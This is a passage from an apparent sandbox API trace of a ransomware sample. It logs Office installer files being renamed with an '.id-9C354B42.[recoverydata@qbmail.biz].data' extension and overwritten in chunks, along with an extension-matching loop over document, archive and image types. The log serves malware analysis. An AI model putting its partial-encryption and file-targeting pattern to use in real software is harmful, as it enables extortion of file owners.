lpBuffer=0x3f73098*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.138] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0076.139] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f73098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f73098*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.147] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0076.147] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f73098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f73098*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0076.152] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f73098 | out: hHeap=0x5b0000) returned 1 [0076.152] CloseHandle (hObject=0x1b4) returned 1 [0077.062] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0077.062] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0077.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0077.063] lstrlenW (lpString=".doc") returned 4 [0077.063] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.063] lstrlenW (lpString=".docx") returned 5 [0077.063] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0077.063] lstrlenW (lpString=".pdf") returned 4 [0077.063] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.063] lstrlenW (lpString=".xls") returned 4 [0077.063] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.063] lstrlenW (lpString=".xlsx") returned 5 [0077.063] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0077.063] lstrlenW (lpString=".ppt") returned 4 [0077.063] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0077.063] lstrlenW (lpString=".zip") returned 4 [0077.063] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.063] lstrlenW (lpString=".rar") returned 4 [0077.063] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.063] lstrlenW (lpString=".bz2") returned 4 [0077.063] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.063] lstrlenW (lpString=".7z") returned 3 [0077.063] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.063] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0077.064] lstrlenW (lpString=".dbf") returned 4 [0077.064] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0077.064] lstrlenW (lpString=".1cd") returned 4 [0077.064] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0077.064] lstrlenW (lpString=".jpg") returned 4 [0077.064] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0077.064] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0077.064] lstrlenW (lpString=".doc") returned 4 [0077.064] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0077.064] lstrlenW (lpString=".docx") returned 5 [0077.064] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0077.064] lstrlenW (lpString=".pdf") returned 4 [0077.064] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0077.064] lstrlenW (lpString=".xls") returned 4 [0077.064] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0077.064] lstrlenW (lpString=".xlsx") returned 5 [0077.065] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0077.065] lstrlenW (lpString=".ppt") returned 4 [0077.065] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0077.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0077.065] lstrlenW (lpString=".zip") returned 4 [0077.065] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0077.065] lstrlenW (lpString=".rar") returned 4 [0077.065] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0077.065] lstrlenW (lpString=".bz2") returned 4 [0077.065] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0077.065] lstrlenW (lpString=".7z") returned 3 [0077.065] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0077.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0077.065] lstrlenW (lpString=".dbf") returned 4 [0077.065] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0077.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0077.065] lstrlenW (lpString=".1cd") returned 4 [0077.065] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0077.065] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0077.065] lstrlenW (lpString=".jpg") returned 4 [0077.066] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0077.066] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0077.066] lstrlenW (lpString="PublisherMUI.msi") returned 16 [0077.066] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0077.066] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2513920) returned 1 [0077.067] CloseHandle (hObject=0x1b4) returned 1 [0077.067] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi")) returned 0x2020 [0077.067] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0077.067] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0077.169] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\publishermui.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0077.169] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0x0) returned 1 [0077.169] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0077.169] ReadFile (in: hFile=0x1b4, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.176] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0077.176] ReadFile (in: hFile=0x1b4, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.360] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0077.360] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0077.360] ReadFile (in: hFile=0x1b4, lpBuffer=0x37f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37f0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0078.379] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0078.379] WriteFile (in: hFile=0x1b4, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0xc010c, lpNumberOfBytesWritten=0x2dcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfcb0*=0xc010c, lpOverlapped=0x0) returned 1 [0078.406] SetEndOfFile (hFile=0x1b4) returned 1 [0078.406] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3f9a0a0 [0078.406] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0078.406] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.409] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xcc955, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0078.409] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.424] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x225c00, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0078.424] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0078.429] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f9a0a0 | out: hHeap=0x5b0000) returned 1 [0078.429] CloseHandle (hObject=0x1b4) returned 1 [0081.387] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0081.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0081.388] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0081.388] lstrlenW (lpString=".doc") returned 4 [0081.388] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0081.389] lstrlenW (lpString=".docx") returned 5 [0081.389] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0081.389] lstrlenW (lpString=".pdf") returned 4 [0081.389] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0081.389] lstrlenW (lpString=".xls") returned 4 [0081.389] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0081.389] lstrlenW (lpString=".xlsx") returned 5 [0081.389] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0081.389] lstrlenW (lpString=".ppt") returned 4 [0081.389] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0081.389] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0081.389] lstrlenW (lpString=".zip") returned 4 [0081.389] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0081.389] lstrlenW (lpString=".rar") returned 4 [0081.389] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0081.389] lstrlenW (lpString=".bz2") returned 4 [0081.389] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0081.389] lstrlenW (lpString=".7z") returned 3 [0081.390] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0081.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0081.390] lstrlenW (lpString=".dbf") returned 4 [0081.390] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0081.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0081.390] lstrlenW (lpString=".1cd") returned 4 [0081.390] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0081.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0081.390] lstrlenW (lpString=".jpg") returned 4 [0081.390] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0081.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0081.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0081.391] lstrlenW (lpString=".doc") returned 4 [0081.391] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0081.391] lstrlenW (lpString=".docx") returned 5 [0081.391] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0081.391] lstrlenW (lpString=".pdf") returned 4 [0081.391] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0081.391] lstrlenW (lpString=".xls") returned 4 [0081.392] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0081.392] lstrlenW (lpString=".xlsx") returned 5 [0081.392] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0081.392] lstrlenW (lpString=".ppt") returned 4 [0081.392] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0081.392] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0081.392] lstrlenW (lpString=".zip") returned 4 [0081.392] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0081.393] lstrlenW (lpString=".rar") returned 4 [0081.393] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0081.393] lstrlenW (lpString=".bz2") returned 4 [0081.393] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0081.393] lstrlenW (lpString=".7z") returned 3 [0081.393] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0081.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0081.393] lstrlenW (lpString=".dbf") returned 4 [0081.393] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0081.393] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0081.393] lstrlenW (lpString=".1cd") returned 4 [0081.394] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0081.394] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0081.394] lstrlenW (lpString=".jpg") returned 4 [0081.394] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0081.394] lstrcmpiW (lpString1=".msi", lpString2=".data") returned 1 [0081.395] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0081.395] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0081.395] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=2865664) returned 1 [0081.395] CloseHandle (hObject=0x1b4) returned 1 [0081.396] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0081.396] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0081.396] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 1 [0081.397] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0081.398] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0x0) returned 1 [0081.398] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0081.398] ReadFile (in: hFile=0x1b4, lpBuffer=0x3770058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x3770058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0081.534] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0081.534] ReadFile (in: hFile=0x1b4, lpBuffer=0x37b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37b0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0081.582] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2dcfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0081.582] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc2c | out: lpNewFilePointer=0x0) returned 1 [0081.582] ReadFile (in: hFile=0x1b4, lpBuffer=0x37f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2dcfc38, lpOverlapped=0x0 | out: lpBuffer=0x37f0058*, lpNumberOfBytesRead=0x2dcfc38*=0x40000, lpOverlapped=0x0) returned 1 [0081.837] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0081.837] WriteFile (in: hFile=0x1b4, lpBuffer=0x3770020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2dcfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3770020*, lpNumberOfBytesWritten=0x2dcfcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0081.904] SetEndOfFile (hFile=0x1b4) returned 1 [0081.905] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40000) returned 0x3f9a0a0 [0081.905] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0081.905] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0082.148] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0082.149] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0082.156] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfc7c | out: lpNewFilePointer=0x0) returned 1 [0082.156] WriteFile (in: hFile=0x1b4, lpBuffer=0x3f9a0a0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2dcfc88, lpOverlapped=0x0 | out: lpBuffer=0x3f9a0a0*, lpNumberOfBytesWritten=0x2dcfc88*=0x40000, lpOverlapped=0x0) returned 1 [0082.159] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3f9a0a0 | out: hHeap=0x5b0000) returned 1 [0082.163] CloseHandle (hObject=0x1b4) returned 1 [0083.209] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0083.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0083.210] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0083.210] lstrlenW (lpString=".doc") returned 4 [0083.210] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0083.210] lstrlenW (lpString=".docx") returned 5 [0083.210] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0083.210] lstrlenW (lpString=".pdf") returned 4 [0083.210] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0083.210] lstrlenW (lpString=".xls") returned 4 [0083.210] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0083.210] lstrlenW (lpString=".xlsx") returned 5 [0083.210] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0083.210] lstrlenW (lpString=".ppt") returned 4 [0083.211] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0083.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0083.211] lstrlenW (lpString=".zip") returned 4 [0083.211] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0083.211] lstrlenW (lpString=".rar") returned 4 [0083.211] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0083.211] lstrlenW (lpString=".bz2") returned 4 [0083.211] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0083.211] lstrlenW (lpString=".7z") returned 3 [0083.211] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0083.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0083.211] lstrlenW (lpString=".dbf") returned 4 [0083.211] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0083.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0083.211] lstrlenW (lpString=".1cd") returned 4 [0083.211] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0083.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0083.211] lstrlenW (lpString=".jpg") returned 4 [0083.211] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0083.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0083.211] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0083.212] lstrlenW (lpString=".doc") returned 4 [0083.212] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0083.212] lstrlenW (lpString=".docx") returned 5 [0083.212] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0083.212] lstrlenW (lpString=".pdf") returned 4 [0083.212] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0083.212] lstrlenW (lpString=".xls") returned 4 [0083.212] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0083.212] lstrlenW (lpString=".xlsx") returned 5 [0083.212] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0083.212] lstrlenW (lpString=".ppt") returned 4 